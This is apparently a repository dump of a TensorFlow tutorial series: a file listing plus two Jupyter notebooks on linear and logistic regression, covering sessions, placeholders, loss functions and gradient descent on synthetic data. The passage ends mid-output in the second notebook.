├── 2layerann.png ├── Neural Networks and TensorFlow - 10 - Linear Regression - 1.ipynb ├── Neural Networks and TensorFlow - 11 - Logistic Regression.ipynb ├── Neural Networks and TensorFlow - 12 - Handwriting Recognition with MNIST.ipynb ├── Neural Networks and TensorFlow - 13 - Convolutional Neural Networks - 1.ipynb ├── Neural Networks and TensorFlow - 14 - Convolutional Neural Networks - 2.ipynb ├── Neural Networks and TensorFlow - 15 - Convolutional Neural Networks - 3.ipynb ├── Neural Networks and TensorFlow - 16 - Convolutional Neural Networks - 4.ipynb ├── Neural Networks and TensorFlow - 17 - Convolutional Neural Networks - 5.ipynb ├── Neural Networks and TensorFlow - 18 - Convolutional Neural Networks - 6.ipynb ├── Neural Networks and TensorFlow - 19 - CNN and Cifar10 - 1.ipynb ├── Neural Networks and TensorFlow - 20 - CNN and Cifar10 - 2.ipynb ├── Neural Networks and TensorFlow - 21 - CNN and Cifar10 - 3.ipynb ├── Neural Networks and TensorFlow - 22 - CNN and Cifar10 - 4.ipynb ├── Neural Networks and TensorFlow - 23 - CNN and Cifar10 - 5.ipynb ├── Neural Networks and TensorFlow - 24 - Tactics to Improve the Model.ipynb ├── Neural Networks and TensorFlow - 25 - Text and Sequence Data - Intro.ipynb ├── Neural Networks and TensorFlow - 26 - Recurrent Neural Networks - 1.ipynb ├── Neural Networks and TensorFlow - 27 - Recurrent Neural Networks - 2.ipynb ├── Neural Networks and TensorFlow - 28 - Recurrent Neural Networks - 3.ipynb ├── Neural Networks and TensorFlow - 29 - Recurrent Neural Networks - 4.ipynb ├── Neural Networks and TensorFlow - 30 - Recurrent Neural Networks - 5.ipynb ├── Neural Networks and TensorFlow - 31 - Recurrent Neural Networks - 6.ipynb ├── Neural Networks and TensorFlow - 32 - Recurrent Neural Networks - 7.ipynb ├── Neural Networks and TensorFlow - 34 - Neural Style Transfer with VGG19 - 1.ipynb ├── Neural Networks and TensorFlow - 36 - Neural Style Transfer with VGG19 - 3.ipynb ├── Neural Networks and TensorFlow - 37 - Neural Style Transfer with VGG19 - 4.ipynb ├── Neural Networks and TensorFlow - 8 - Computational Graph, Ops, Sessions, Placeholders.ipynb ├── Neural Networks and TensorFlow - 9 - Loss Function, MSE, Cross Entropy.ipynb ├── Neural Networks and Tensorflow - 1 - Artificial Neurons.ipynb ├── Neural Networks and Tensorflow - 2 - Feed Forward Networks and Activations.ipynb ├── Neural Networks and Tensorflow - 3 - Softmax Output.ipynb ├── Neural Networks and Tensorflow - 4 - Gradient Descent.ipynb ├── Neural Networks and Tensorflow - 5 - Backpropagation.ipynb ├── Neural Networks and Tensorflow - 6 - Basics of TensorFlow - 1.ipynb ├── Neural Networks and Tensorflow - 7 - Basics of TensorFlow - 2.ipynb ├── README.md ├── artifneuron.png ├── backprop.png ├── bioneuron.png ├── cat.jpg ├── cifar10.png ├── cnn.png ├── compgraph.png ├── data ├── Marilyn_Monroe_in_1952-small.jpg └── StarryNight-small.jpg ├── forwardp.png ├── grdesc.png ├── grdesc2.jpeg ├── greyrgb.png ├── mnist.png ├── mountain.jpg ├── new.php ├── relu.png ├── rnn.png ├── sigmoid.png ├── softmax.png ├── tanh.png ├── tflogo.png ├── timeseq1.png └── vgg19arch.png /2layerann.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CristiVlad25/nnt-python/60d184d70bc85c5471e5c429656bce7a2afddd76/2layerann.png -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 10 - Linear Regression - 1.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "collapsed": true, 17 | "deletable": true, 18 | "editable": true 19 | }, 20 | "source": [ 21 | "![](tflogo.png)\n", 22 | "\n", 23 | "*

By TensorFlow - vectors combined, edited - Begoon [Apache License 2.0] via Wikimedia Commons

*\n", 24 | "\n", 25 | "- one of the most popular tools for deep learning\n", 26 | "- released in 2015\n", 27 | "- \"framework for numerical computation based on dataflow graphs.\" [2] [Hope et al. (2017)]\n", 28 | "- tensors - multidimensional arrays\n", 29 | "- built in C++, used through higer level languages (Python) and libraries (keras, tf-slim)\n", 30 | "\n", 31 | "![](sqcube.png)\n", 32 | "\n", 33 | "![](greyrgb.png)\n", 34 | "\n", 35 | "- image tensor flows through the computational graph\n", 36 | "\n", 37 | "### Computational graph:\n", 38 | "\n", 39 | "![](compgraph.png)\n", 40 | "\n", 41 | "- composed of nodes and edges\n", 42 | "\n", 43 | "*

Computational Graph. By Sebastian Raschka via Github

*\n", 44 | "\n", 45 | "### Advantages and Disadvantages (a few):\n", 46 | "\n", 47 | "- open source and continously developed\n", 48 | "- good visualization tools \n", 49 | "- scalability and portability\n", 50 | "- steeper learning curve to become good at it \n", 51 | "- implies solid knowledge of math\n", 52 | "- http://tensorflow.org\n", 53 | "\n", 54 | "### Types of Operations:\n", 55 | "\n", 56 | "- Add, Sub, Div, Mul, Log, Exp, etc. (element wise math ops.)\n", 57 | "- on arrays and matrices: Constant, Shape, Split, Concat, Slice, MatMul, etc.\n", 58 | "- Sigmoid, ReLU, Convolution2D, SoftMax, etc.\n", 59 | "- and more" 60 | ] 61 | }, 62 | { 63 | "cell_type": "code", 64 | "execution_count": 1, 65 | "metadata": { 66 | "collapsed": false, 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "outputs": [], 71 | "source": [ 72 | "import tensorflow as tf\n", 73 | "import numpy as np" 74 | ] 75 | }, 76 | { 77 | "cell_type": "code", 78 | "execution_count": 2, 79 | "metadata": { 80 | "collapsed": false, 81 | "deletable": true, 82 | "editable": true 83 | }, 84 | "outputs": [], 85 | "source": [ 86 | "a = tf.constant('Hello')\n", 87 | "b = tf.constant(' World!')\n", 88 | "c = a+b" 89 | ] 90 | }, 91 | { 92 | "cell_type": "code", 93 | "execution_count": 3, 94 | "metadata": { 95 | "collapsed": false, 96 | "deletable": true, 97 | "editable": true 98 | }, 99 | "outputs": [ 100 | { 101 | "name": "stdout", 102 | "output_type": "stream", 103 | "text": [ 104 | "Tensor(\"add:0\", shape=(), dtype=string)\n" 105 | ] 106 | } 107 | ], 108 | "source": [ 109 | "print(c)" 110 | ] 111 | }, 112 | { 113 | "cell_type": "code", 114 | "execution_count": 4, 115 | "metadata": { 116 | "collapsed": false, 117 | "deletable": true, 118 | "editable": true 119 | }, 120 | "outputs": [ 121 | { 122 | "name": "stdout", 123 | "output_type": "stream", 124 | "text": [ 125 | "b'Hello World!'\n" 126 | ] 127 | } 128 | ], 129 | "source": [ 130 | "with tf.Session() as sess: \n", 131 | " runop = sess.run(c)\n", 132 | " \n", 133 | "print(runop)" 134 | ] 135 | }, 136 | { 137 | "cell_type": "code", 138 | "execution_count": 5, 139 | "metadata": { 140 | "collapsed": false, 141 | "deletable": true, 142 | "editable": true 143 | }, 144 | "outputs": [ 145 | { 146 | "name": "stdout", 147 | "output_type": "stream", 148 | "text": [ 149 | "b'Hello World!'\n" 150 | ] 151 | } 152 | ], 153 | "source": [ 154 | "c = tf.add(a,b)\n", 155 | "\n", 156 | "with tf.Session() as sess:\n", 157 | " runop = sess.run(c)\n", 158 | " \n", 159 | "print(runop)" 160 | ] 161 | }, 162 | { 163 | "cell_type": "code", 164 | "execution_count": 6, 165 | "metadata": { 166 | "collapsed": false, 167 | "deletable": true, 168 | "editable": true 169 | }, 170 | "outputs": [ 171 | { 172 | "name": "stdout", 173 | "output_type": "stream", 174 | "text": [ 175 | "[[[ 88 94]\n", 176 | " [214 229]]\n", 177 | "\n", 178 | " [[484 508]\n", 179 | " [642 674]]]\n" 180 | ] 181 | } 182 | ], 183 | "source": [ 184 | "mat_a = tf.constant(np.arange(1,12, dtype=np.int32), shape=[2,2,3])\n", 185 | "mat_b = tf.constant(np.arange(12,24, dtype=np.int32), shape=[2,3,2])\n", 186 | "mul_c = tf.matmul(mat_a, mat_b)\n", 187 | "\n", 188 | "with tf.Session() as sess:\n", 189 | " runop = sess.run(mul_c)\n", 190 | " \n", 191 | "print(runop)" 192 | ] 193 | }, 194 | { 195 | "cell_type": "markdown", 196 | "metadata": { 197 | "collapsed": true, 198 | "deletable": true, 199 | "editable": true 200 | }, 201 | "source": [ 202 | "### A typical TensorFlow project:\n", 203 | "\n", 204 | "- (1). constructing the graph: tf.constant, tf.placeholder, tf.variable, tf.nn.sigmoid, tf.matmul, etc.\n", 205 | "- (2). executing the graph (within a session)\n", 206 | "- use tensorboard for visualization.\n", 207 | "\n", 208 | "### Placeholders:\n", 209 | "\n", 210 | "- allow for reusability\n", 211 | "- can be populated with different data every time you run the graph (feed_dict)" 212 | ] 213 | }, 214 | { 215 | "cell_type": "code", 216 | "execution_count": 7, 217 | "metadata": { 218 | "collapsed": false, 219 | "deletable": true, 220 | "editable": true 221 | }, 222 | "outputs": [], 223 | "source": [ 224 | "#with tf.Session() as sess:\n", 225 | "# sess.run(ops)\n", 226 | "# sess.close()" 227 | ] 228 | }, 229 | { 230 | "cell_type": "code", 231 | "execution_count": 8, 232 | "metadata": { 233 | "collapsed": true, 234 | "deletable": true, 235 | "editable": true 236 | }, 237 | "outputs": [], 238 | "source": [ 239 | "x = tf.placeholder(tf.float32, name='X', shape=(4,9))\n", 240 | "w = tf.placeholder(tf.float32, name='W', shape=(9,1))\n", 241 | "b = tf.fill((4,1), -1., name='bias')\n", 242 | "y = tf.matmul(x,w)+b\n", 243 | "s = tf.reduce_max(y)" 244 | ] 245 | }, 246 | { 247 | "cell_type": "code", 248 | "execution_count": 9, 249 | "metadata": { 250 | "collapsed": false, 251 | "deletable": true, 252 | "editable": true 253 | }, 254 | "outputs": [ 255 | { 256 | "name": "stdout", 257 | "output_type": "stream", 258 | "text": [ 259 | "Output: 2.081198215484619\n" 260 | ] 261 | } 262 | ], 263 | "source": [ 264 | "x_data = np.random.randn(4,9)\n", 265 | "w_data = np.random.randn(9,1)\n", 266 | "\n", 267 | "with tf.Session() as sess:\n", 268 | " out_p = sess.run(s, feed_dict={x:x_data, w:w_data})\n", 269 | " \n", 270 | "print('Output: {}'.format(out_p))" 271 | ] 272 | }, 273 | { 274 | "cell_type": "markdown", 275 | "metadata": { 276 | "collapsed": false, 277 | "deletable": true, 278 | "editable": true 279 | }, 280 | "source": [ 281 | "### Optimization\n", 282 | "\n", 283 | "- purpose of a typical project: learn associations between features and labels.\n", 284 | "\n", 285 | "###
$f(x_{i}) = w^{T}x_{i} + b$
\n", 286 | "###
$y_{i} = f(x_{i}) + \\varepsilon_{i}$
\n", 287 | "\n", 288 | "- **Loss Function**: how far the model is from the truth.\n", 289 | "- train the model to minimize loss (adjusting the parameters).\n", 290 | "- **MSE (Mean Squared Error)** - averages square distances (y_true, y_pred):\n", 291 | "\n", 292 | "##
$L(y, \\hat y) = \\frac{1}{n}\\ ∑_{i=1}^{n}(y_{i}-\\hat y_{i})^{2}$
\n", 293 | "\n", 294 | "- **Cross Entropy** - similarity between distributions:\n", 295 | "\n", 296 | "##
$H(p,q)=-∑_{x}p(x)logq(x)$
" 297 | ] 298 | }, 299 | { 300 | "cell_type": "code", 301 | "execution_count": 10, 302 | "metadata": { 303 | "collapsed": false, 304 | "deletable": true, 305 | "editable": true 306 | }, 307 | "outputs": [], 308 | "source": [ 309 | "# X, Y, W, b\n", 310 | "\n", 311 | "x = tf.placeholder(tf.float32, shape=[None, 3])\n", 312 | "y_true = tf.placeholder(tf.float32, shape=None)\n", 313 | "w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 314 | "b = tf.Variable(0, dtype=tf.float32, name='b')\n", 315 | "\n", 316 | "# Output\n", 317 | "\n", 318 | "y_pred = tf.matmul(w, tf.transpose(x))+b" 319 | ] 320 | }, 321 | { 322 | "cell_type": "code", 323 | "execution_count": 11, 324 | "metadata": { 325 | "collapsed": false, 326 | "deletable": true, 327 | "editable": true 328 | }, 329 | "outputs": [], 330 | "source": [ 331 | "# MSE (Mean Squared Error)\n", 332 | "\n", 333 | "loss = tf.reduce_mean(tf.square(y_true-y_pred))\n", 334 | "\n", 335 | "# Cross Entropy\n", 336 | "\n", 337 | "loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_pred)\n", 338 | "loss = tf.reduce_mean(loss)" 339 | ] 340 | }, 341 | { 342 | "cell_type": "markdown", 343 | "metadata": { 344 | "collapsed": true, 345 | "deletable": true, 346 | "editable": true 347 | }, 348 | "source": [ 349 | "### Linear Regression \n", 350 | "\n", 351 | "- Batch Gradient Descent: entire dataset.\n", 352 | "- Stochastic Gradient Descent (SGD): mini-batches. \n", 353 | "- In TensorFlow:\n", 354 | "\n", 355 | "
optimizer = tf.train.GradientDescentOptimizer(learning_rate)
\n", 356 | "
train = optimizer.minimize(loss)
\n" 357 | ] 358 | }, 359 | { 360 | "cell_type": "code", 361 | "execution_count": 17, 362 | "metadata": { 363 | "collapsed": false, 364 | "deletable": true, 365 | "editable": true 366 | }, 367 | "outputs": [], 368 | "source": [ 369 | "import numpy as np\n", 370 | "\n", 371 | "x_data = np.random.randn(2000,3)\n", 372 | "w_real = [0.4, 0.6, 0.2]\n", 373 | "b_real = -0.3 \n", 374 | "noise = np.random.randn(1,2000)*0.1 \n", 375 | "y_data = np.matmul(w_real, x_data.T)+b_real+noise" 376 | ] 377 | }, 378 | { 379 | "cell_type": "code", 380 | "execution_count": 18, 381 | "metadata": { 382 | "collapsed": false, 383 | "deletable": true, 384 | "editable": true 385 | }, 386 | "outputs": [ 387 | { 388 | "name": "stdout", 389 | "output_type": "stream", 390 | "text": [ 391 | "0 [array([[ 0.40146095, 0.63455784, 0.21207747]], dtype=float32), -0.34306645]\n", 392 | "5 [array([[ 0.39997593, 0.60164249, 0.19840008]], dtype=float32), -0.2986823]\n", 393 | "10 [array([[ 0.39997596, 0.60164261, 0.19840011]], dtype=float32), -0.29868239]\n" 394 | ] 395 | } 396 | ], 397 | "source": [ 398 | "num_iters = 10 \n", 399 | "g = tf.Graph()\n", 400 | "wb = []\n", 401 | "\n", 402 | "with g.as_default():\n", 403 | " x = tf.placeholder(tf.float32, shape=[None, 3])\n", 404 | " y_true = tf.placeholder(tf.float32, shape=None)\n", 405 | " \n", 406 | " with tf.name_scope('inference') as scope:\n", 407 | " w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 408 | " b = tf.Variable(0, dtype=tf.float32, name='b')\n", 409 | " y_pred = tf.matmul(w, tf.transpose(x))+b\n", 410 | " \n", 411 | " with tf.name_scope('loss') as scope:\n", 412 | " loss = tf.reduce_mean(tf.square(y_true-y_pred))\n", 413 | " \n", 414 | " with tf.name_scope('training') as scope:\n", 415 | " lr = 0.5\n", 416 | " optimizer = tf.train.GradientDescentOptimizer(lr)\n", 417 | " train = optimizer.minimize(loss)\n", 418 | " \n", 419 | " init = tf.global_variables_initializer()\n", 420 | " \n", 421 | " with tf.Session() as sess:\n", 422 | " sess.run(init)\n", 423 | " for step in range(num_iters):\n", 424 | " sess.run(train, {x:x_data, y_true:y_data})\n", 425 | " if(step%5==0):\n", 426 | " print(step, sess.run([w,b]))\n", 427 | " wb.append(sess.run([w,b]))\n", 428 | " \n", 429 | " print(10, sess.run([w,b]))" 430 | ] 431 | }, 432 | { 433 | "cell_type": "code", 434 | "execution_count": null, 435 | "metadata": { 436 | "collapsed": true 437 | }, 438 | "outputs": [], 439 | "source": [] 440 | }, 441 | { 442 | "cell_type": "code", 443 | "execution_count": null, 444 | "metadata": { 445 | "collapsed": true 446 | }, 447 | "outputs": [], 448 | "source": [] 449 | }, 450 | { 451 | "cell_type": "code", 452 | "execution_count": null, 453 | "metadata": { 454 | "collapsed": true 455 | }, 456 | "outputs": [], 457 | "source": [] 458 | }, 459 | { 460 | "cell_type": "code", 461 | "execution_count": null, 462 | "metadata": { 463 | "collapsed": true 464 | }, 465 | "outputs": [], 466 | "source": [] 467 | } 468 | ], 469 | "metadata": { 470 | "kernelspec": { 471 | "display_name": "Python 3", 472 | "language": "python", 473 | "name": "python3" 474 | }, 475 | "language_info": { 476 | "codemirror_mode": { 477 | "name": "ipython", 478 | "version": 3 479 | }, 480 | "file_extension": ".py", 481 | "mimetype": "text/x-python", 482 | "name": "python", 483 | "nbconvert_exporter": "python", 484 | "pygments_lexer": "ipython3", 485 | "version": "3.5.0" 486 | } 487 | }, 488 | "nbformat": 4, 489 | "nbformat_minor": 2 490 | } 491 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 11 - Logistic Regression.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "collapsed": true, 17 | "deletable": true, 18 | "editable": true 19 | }, 20 | "source": [ 21 | "![](tflogo.png)\n", 22 | "\n", 23 | "*

By TensorFlow - vectors combined, edited - Begoon [Apache License 2.0] via Wikimedia Commons

*\n", 24 | "\n", 25 | "- one of the most popular tools for deep learning\n", 26 | "- released in 2015\n", 27 | "- \"framework for numerical computation based on dataflow graphs.\" [2] [Hope et al. (2017)]\n", 28 | "- tensors - multidimensional arrays\n", 29 | "- built in C++, used through higer level languages (Python) and libraries (keras, tf-slim)\n", 30 | "\n", 31 | "![](sqcube.png)\n", 32 | "\n", 33 | "![](greyrgb.png)\n", 34 | "\n", 35 | "- image tensor flows through the computational graph\n", 36 | "\n", 37 | "### Computational graph:\n", 38 | "\n", 39 | "![](compgraph.png)\n", 40 | "\n", 41 | "- composed of nodes and edges\n", 42 | "\n", 43 | "*

Computational Graph. By Sebastian Raschka via Github

*\n", 44 | "\n", 45 | "### Advantages and Disadvantages (a few):\n", 46 | "\n", 47 | "- open source and continously developed\n", 48 | "- good visualization tools \n", 49 | "- scalability and portability\n", 50 | "- steeper learning curve to become good at it \n", 51 | "- implies solid knowledge of math\n", 52 | "- http://tensorflow.org\n", 53 | "\n", 54 | "### Types of Operations:\n", 55 | "\n", 56 | "- Add, Sub, Div, Mul, Log, Exp, etc. (element wise math ops.)\n", 57 | "- on arrays and matrices: Constant, Shape, Split, Concat, Slice, MatMul, etc.\n", 58 | "- Sigmoid, ReLU, Convolution2D, SoftMax, etc.\n", 59 | "- and more" 60 | ] 61 | }, 62 | { 63 | "cell_type": "code", 64 | "execution_count": 1, 65 | "metadata": { 66 | "collapsed": false, 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "outputs": [], 71 | "source": [ 72 | "import tensorflow as tf\n", 73 | "import numpy as np" 74 | ] 75 | }, 76 | { 77 | "cell_type": "code", 78 | "execution_count": 2, 79 | "metadata": { 80 | "collapsed": false, 81 | "deletable": true, 82 | "editable": true 83 | }, 84 | "outputs": [], 85 | "source": [ 86 | "a = tf.constant('Hello')\n", 87 | "b = tf.constant(' World!')\n", 88 | "c = a+b" 89 | ] 90 | }, 91 | { 92 | "cell_type": "code", 93 | "execution_count": 3, 94 | "metadata": { 95 | "collapsed": false, 96 | "deletable": true, 97 | "editable": true 98 | }, 99 | "outputs": [ 100 | { 101 | "name": "stdout", 102 | "output_type": "stream", 103 | "text": [ 104 | "Tensor(\"add:0\", shape=(), dtype=string)\n" 105 | ] 106 | } 107 | ], 108 | "source": [ 109 | "print(c)" 110 | ] 111 | }, 112 | { 113 | "cell_type": "code", 114 | "execution_count": 4, 115 | "metadata": { 116 | "collapsed": false, 117 | "deletable": true, 118 | "editable": true 119 | }, 120 | "outputs": [ 121 | { 122 | "name": "stdout", 123 | "output_type": "stream", 124 | "text": [ 125 | "b'Hello World!'\n" 126 | ] 127 | } 128 | ], 129 | "source": [ 130 | "with tf.Session() as sess: \n", 131 | " runop = sess.run(c)\n", 132 | " \n", 133 | "print(runop)" 134 | ] 135 | }, 136 | { 137 | "cell_type": "code", 138 | "execution_count": 5, 139 | "metadata": { 140 | "collapsed": false, 141 | "deletable": true, 142 | "editable": true 143 | }, 144 | "outputs": [ 145 | { 146 | "name": "stdout", 147 | "output_type": "stream", 148 | "text": [ 149 | "b'Hello World!'\n" 150 | ] 151 | } 152 | ], 153 | "source": [ 154 | "c = tf.add(a,b)\n", 155 | "\n", 156 | "with tf.Session() as sess:\n", 157 | " runop = sess.run(c)\n", 158 | " \n", 159 | "print(runop)" 160 | ] 161 | }, 162 | { 163 | "cell_type": "code", 164 | "execution_count": 6, 165 | "metadata": { 166 | "collapsed": false, 167 | "deletable": true, 168 | "editable": true 169 | }, 170 | "outputs": [ 171 | { 172 | "name": "stdout", 173 | "output_type": "stream", 174 | "text": [ 175 | "[[[ 88 94]\n", 176 | " [214 229]]\n", 177 | "\n", 178 | " [[484 508]\n", 179 | " [642 674]]]\n" 180 | ] 181 | } 182 | ], 183 | "source": [ 184 | "mat_a = tf.constant(np.arange(1,12, dtype=np.int32), shape=[2,2,3])\n", 185 | "mat_b = tf.constant(np.arange(12,24, dtype=np.int32), shape=[2,3,2])\n", 186 | "mul_c = tf.matmul(mat_a, mat_b)\n", 187 | "\n", 188 | "with tf.Session() as sess:\n", 189 | " runop = sess.run(mul_c)\n", 190 | " \n", 191 | "print(runop)" 192 | ] 193 | }, 194 | { 195 | "cell_type": "markdown", 196 | "metadata": { 197 | "collapsed": true, 198 | "deletable": true, 199 | "editable": true 200 | }, 201 | "source": [ 202 | "### A typical TensorFlow project:\n", 203 | "\n", 204 | "- (1). constructing the graph: tf.constant, tf.placeholder, tf.variable, tf.nn.sigmoid, tf.matmul, etc.\n", 205 | "- (2). executing the graph (within a session)\n", 206 | "- use tensorboard for visualization.\n", 207 | "\n", 208 | "### Placeholders:\n", 209 | "\n", 210 | "- allow for reusability\n", 211 | "- can be populated with different data every time you run the graph (feed_dict)" 212 | ] 213 | }, 214 | { 215 | "cell_type": "code", 216 | "execution_count": 7, 217 | "metadata": { 218 | "collapsed": false, 219 | "deletable": true, 220 | "editable": true 221 | }, 222 | "outputs": [], 223 | "source": [ 224 | "#with tf.Session() as sess:\n", 225 | "# sess.run(ops)\n", 226 | "# sess.close()" 227 | ] 228 | }, 229 | { 230 | "cell_type": "code", 231 | "execution_count": 8, 232 | "metadata": { 233 | "collapsed": true, 234 | "deletable": true, 235 | "editable": true 236 | }, 237 | "outputs": [], 238 | "source": [ 239 | "x = tf.placeholder(tf.float32, name='X', shape=(4,9))\n", 240 | "w = tf.placeholder(tf.float32, name='W', shape=(9,1))\n", 241 | "b = tf.fill((4,1), -1., name='bias')\n", 242 | "y = tf.matmul(x,w)+b\n", 243 | "s = tf.reduce_max(y)" 244 | ] 245 | }, 246 | { 247 | "cell_type": "code", 248 | "execution_count": 9, 249 | "metadata": { 250 | "collapsed": false, 251 | "deletable": true, 252 | "editable": true 253 | }, 254 | "outputs": [ 255 | { 256 | "name": "stdout", 257 | "output_type": "stream", 258 | "text": [ 259 | "Output: 0.05671846866607666\n" 260 | ] 261 | } 262 | ], 263 | "source": [ 264 | "x_data = np.random.randn(4,9)\n", 265 | "w_data = np.random.randn(9,1)\n", 266 | "\n", 267 | "with tf.Session() as sess:\n", 268 | " out_p = sess.run(s, feed_dict={x:x_data, w:w_data})\n", 269 | " \n", 270 | "print('Output: {}'.format(out_p))" 271 | ] 272 | }, 273 | { 274 | "cell_type": "markdown", 275 | "metadata": { 276 | "collapsed": false, 277 | "deletable": true, 278 | "editable": true 279 | }, 280 | "source": [ 281 | "### Optimization\n", 282 | "\n", 283 | "- purpose of a typical project: learn associations between features and labels.\n", 284 | "\n", 285 | "###
$f(x_{i}) = w^{T}x_{i} + b$
\n", 286 | "###
$y_{i} = f(x_{i}) + \\varepsilon_{i}$
\n", 287 | "\n", 288 | "- **Loss Function**: how far the model is from the truth.\n", 289 | "- train the model to minimize loss (adjusting the parameters).\n", 290 | "- **MSE (Mean Squared Error)** - averages square distances (y_true, y_pred):\n", 291 | "\n", 292 | "##
$L(y, \\hat y) = \\frac{1}{n}\\ ∑_{i=1}^{n}(y_{i}-\\hat y_{i})^{2}$
\n", 293 | "\n", 294 | "- **Cross Entropy** - similarity between distributions:\n", 295 | "\n", 296 | "##
$H(p,q)=-∑_{x}p(x)logq(x)$
" 297 | ] 298 | }, 299 | { 300 | "cell_type": "code", 301 | "execution_count": 10, 302 | "metadata": { 303 | "collapsed": false, 304 | "deletable": true, 305 | "editable": true 306 | }, 307 | "outputs": [], 308 | "source": [ 309 | "# X, Y, W, b\n", 310 | "\n", 311 | "x = tf.placeholder(tf.float32, shape=[None, 3])\n", 312 | "y_true = tf.placeholder(tf.float32, shape=None)\n", 313 | "w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 314 | "b = tf.Variable(0, dtype=tf.float32, name='b')\n", 315 | "\n", 316 | "# Output\n", 317 | "\n", 318 | "y_pred = tf.matmul(w, tf.transpose(x))+b" 319 | ] 320 | }, 321 | { 322 | "cell_type": "code", 323 | "execution_count": 11, 324 | "metadata": { 325 | "collapsed": false, 326 | "deletable": true, 327 | "editable": true 328 | }, 329 | "outputs": [], 330 | "source": [ 331 | "# MSE (Mean Squared Error)\n", 332 | "\n", 333 | "loss = tf.reduce_mean(tf.square(y_true-y_pred))\n", 334 | "\n", 335 | "# Cross Entropy\n", 336 | "\n", 337 | "loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_pred)\n", 338 | "loss = tf.reduce_mean(loss)" 339 | ] 340 | }, 341 | { 342 | "cell_type": "markdown", 343 | "metadata": { 344 | "collapsed": true, 345 | "deletable": true, 346 | "editable": true 347 | }, 348 | "source": [ 349 | "### Linear Regression \n", 350 | "\n", 351 | "- Batch Gradient Descent: entire dataset.\n", 352 | "- Stochastic Gradient Descent (SGD): mini-batches. \n", 353 | "- In TensorFlow:\n", 354 | "\n", 355 | "
optimizer = tf.train.GradientDescentOptimizer(learning_rate)
\n", 356 | "
train = optimizer.minimize(loss)
\n" 357 | ] 358 | }, 359 | { 360 | "cell_type": "code", 361 | "execution_count": 12, 362 | "metadata": { 363 | "collapsed": false, 364 | "deletable": true, 365 | "editable": true 366 | }, 367 | "outputs": [], 368 | "source": [ 369 | "import numpy as np\n", 370 | "\n", 371 | "x_data = np.random.randn(2000,3)\n", 372 | "w_real = [0.4, 0.6, 0.2]\n", 373 | "b_real = -0.3 \n", 374 | "noise = np.random.randn(1,2000)*0.1 \n", 375 | "y_data = np.matmul(w_real, x_data.T)+b_real+noise" 376 | ] 377 | }, 378 | { 379 | "cell_type": "code", 380 | "execution_count": 13, 381 | "metadata": { 382 | "collapsed": false, 383 | "deletable": true, 384 | "editable": true 385 | }, 386 | "outputs": [ 387 | { 388 | "name": "stdout", 389 | "output_type": "stream", 390 | "text": [ 391 | "0 [array([[ 0.38270199, 0.58792585, 0.20939657]], dtype=float32), -0.27726799]\n", 392 | "5 [array([[ 0.40387914, 0.60113317, 0.19956036]], dtype=float32), -0.29867133]\n", 393 | "10 [array([[ 0.40387896, 0.60113335, 0.19956046]], dtype=float32), -0.29867133]\n" 394 | ] 395 | } 396 | ], 397 | "source": [ 398 | "num_iters = 10 \n", 399 | "g = tf.Graph()\n", 400 | "wb = []\n", 401 | "\n", 402 | "with g.as_default():\n", 403 | " x = tf.placeholder(tf.float32, shape=[None, 3])\n", 404 | " y_true = tf.placeholder(tf.float32, shape=None)\n", 405 | " \n", 406 | " with tf.name_scope('inference') as scope:\n", 407 | " w = tf.Variable([[0,0,0]], dtype=tf.float32, name='W')\n", 408 | " b = tf.Variable(0, dtype=tf.float32, name='b')\n", 409 | " y_pred = tf.matmul(w, tf.transpose(x))+b\n", 410 | " \n", 411 | " with tf.name_scope('loss') as scope:\n", 412 | " loss = tf.reduce_mean(tf.square(y_true-y_pred))\n", 413 | " \n", 414 | " with tf.name_scope('training') as scope:\n", 415 | " lr = 0.5\n", 416 | " optimizer = tf.train.GradientDescentOptimizer(lr)\n", 417 | " train = optimizer.minimize(loss)\n", 418 | " \n", 419 | " init = tf.global_variables_initializer()\n", 420 | " \n", 421 | " with tf.Session() as sess:\n", 422 | " sess.run(init)\n", 423 | " for step in range(num_iters):\n", 424 | " sess.run(train, {x:x_data, y_true:y_data})\n", 425 | " if(step%5==0):\n", 426 | " print(step, sess.run([w,b]))\n", 427 | " wb.append(sess.run([w,b]))\n", 428 | " \n", 429 | " print(10, sess.run([w,b]))" 430 | ] 431 | }, 432 | { 433 | "cell_type": "code", 434 | "execution_count": 14, 435 | "metadata": { 436 | "collapsed": false, 437 | "deletable": true, 438 | "editable": true 439 | }, 440 | "outputs": [], 441 | "source": [ 442 | "def sigmoid(x):\n", 443 | " return 1/(1+np.exp(-x))\n", 444 | "\n", 445 | "x_data = np.random.randn(20000,3)\n", 446 | "w_real = [0.4, 0.6, 0.2]\n", 447 | "b_real = -0.3\n", 448 | "wb = np.matmul(w_real,x_data.T)+b_real\n", 449 | "\n", 450 | "y_data_bef_noise = sigmoid(wb)\n", 451 | "y_data = np.random.binomial(1, y_data_bef_noise)" 452 | ] 453 | }, 454 | { 455 | "cell_type": "code", 456 | "execution_count": 16, 457 | "metadata": { 458 | "collapsed": false, 459 | "deletable": true, 460 | "editable": true 461 | }, 462 | "outputs": [ 463 | { 464 | "name": "stdout", 465 | "output_type": "stream", 466 | "text": [ 467 | "0 [array([[ 0.04435763, 0.06422593, 0.02288913]], dtype=float32), -0.033750284]\n", 468 | "5 [array([[ 0.19690016, 0.28649876, 0.10135009]], dtype=float32), -0.14925773]\n", 469 | "10 [array([[ 0.28023058, 0.40922821, 0.14389198]], dtype=float32), -0.21156427]\n", 470 | "15 [array([[ 0.32868102, 0.48124343, 